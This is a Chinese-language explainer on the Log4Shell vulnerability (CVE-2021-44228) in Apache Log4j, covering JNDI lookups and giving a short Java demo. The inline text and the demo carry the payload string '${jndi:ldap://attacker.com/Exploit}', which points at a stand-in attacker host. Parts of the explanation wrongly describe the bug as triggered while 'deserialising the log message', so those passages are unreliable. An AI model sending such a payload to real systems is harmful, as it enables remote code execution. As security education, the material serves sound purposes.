认识JNDI查找

在Java中，JNDI（Java Naming and Directory Interface）是用于访问各种命名和目录服务的API。JNDI提供了一种标准的方式来查找和访问命名对象，这些对象可以是文件、数据库、目录服务器等。

在Log4j中，当用户在日志消息中使用了JNDI的占位符时，例如`${jndi:ldap://attacker.com/Exploit}`，Log4j会尝试执行JNDI查找来解析这个占位符，以获取指定的资源。而在执行JNDI查找的过程中，涉及到了对象的反序列化，这是因为JNDI查找所返回的结果通常是一个Java对象。

具体地说，当Log4j执行JNDI查找时，它会尝试连接到指定的JNDI服务（如LDAP服务器），并发送查询请求。如果JNDI服务器返回了一个Java对象作为查询结果，Log4j就需要将这个对象从字节流反序列化为Java对象，以便进一步处理和使用。

在Log4j反序列化漏洞中，攻击者构造了一个恶意的JNDI查找URL，其中包含了指向恶意LDAP服务器的URL，并将这个恶意的URL插入到日志消息中。当Log4j解析这个恶意的日志消息时，它会尝试执行JNDI查找，连接到攻击者控制的恶意LDAP服务器，并尝试将返回的结果反序列化为Java对象。由于恶意的JNDI服务器返回的结果可能是一个包含恶意代码的Java对象，因此这就导致了远程代码执行漏洞。

log4j为什么需要反序列化?

Log4j本身并不需要进行反序列化，它是一个用于Java应用程序中记录日志的库。然而，Log4j的反序列化漏洞是因为其在处理日志消息时，允许用户自定义的日志消息模板（Pattern Layout）中包含了占位符和特殊格式，而这些特殊格式会触发对用户提供的对象进行反序列化。

在Log4j中，用户可以通过在日志消息模板中使用占位符来插入动态内容。例如，可以在日志消息中包含当前时间、线程名、日志级别等信息。而在处理这些占位符时，Log4j会对其中的特殊格式进行解析和处理。问题出现在于，Log4j在解析日志消息时，允许在占位符中执行JNDI（Java Naming and Directory Interface）查找，这个过程中涉及到了对象的反序列化。

因此，虽然Log4j本身并不需要反序列化，但它的反序列化漏洞是由于在解析日志消息时允许执行JNDI查找，而JNDI查找过程中涉及到了对象的反序列化。攻击者可以利用这个漏洞构造恶意的日志消息，触发对恶意对象的反序列化，从而导致远程代码执行漏洞。

Log4j 反序列化漏洞（CVE-2021-44228）

Log4j 反序列化漏洞（CVE-2021-44228），也称为 Log4Shell，是一种影响 Apache Log4j 2 的严重安全问题。这个漏洞允许攻击者通过利用特制数据的反序列化来远程执行任意代码。

漏洞解释：

漏洞存在的原因是 Log4j 在反序列化期间处理 JNDI（Java 命名和目录接口）查找的方式。Log4j 包含一个功能，用于在日志消息中进行参数替换时执行 JNDI 查找，而这可以在反序列化过程中触发。攻击者可以构造一个恶意的日志消息，其中包含指向攻击者控制的恶意 LDAP 服务器的 JNDI 查找 URL。

当 Log4j 反序列化这个恶意的日志消息时，它会执行 JNDI 查找，尝试连接到 URL 中指定的 LDAP 服务器。如果成功，这将允许攻击者在受影响的系统上执行任意代码，导致远程代码执行（RCE）。

示例： 以下是一个简化的示例，演示了 Log4j 反序列化漏洞：

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4jVulnerabilityDemo {
    private static final Logger logger = LogManager.getLogger(Log4jVulnerabilityDemo.class);

    public static void main(String[] args) {
        // 构造带有 JNDI 查找 URL 的恶意日志消息
        String maliciousMessage = "${jndi:ldap://attacker.com/Exploit}";

        // 记录恶意消息
        logger.error(maliciousMessage);
    }
}

在这个示例中，代码使用 Log4j 的 Logger 记录了一条消息。该消息包含一个占位符 `${jndi:ldap://attacker.com/Exploit}`。在反序列化期间，Log4j 将尝试解析此占位符，通过执行 JNDI 查找来连接到 LDAP 服务器 `ldap://attacker.com/Exploit`。

如果受影响的应用程序反序列化这个日志消息，它将意外地触发 JNDI 查找，连接到攻击者的 LDAP 服务器。这可能导致执行由攻击者控制的任意代码。

这个示例说明了即使是看似无害的日志操作，当涉及到反序列化时也可能导致严重的安全漏洞，强调了适当的输入验证和安全的反序列化实践的重要性。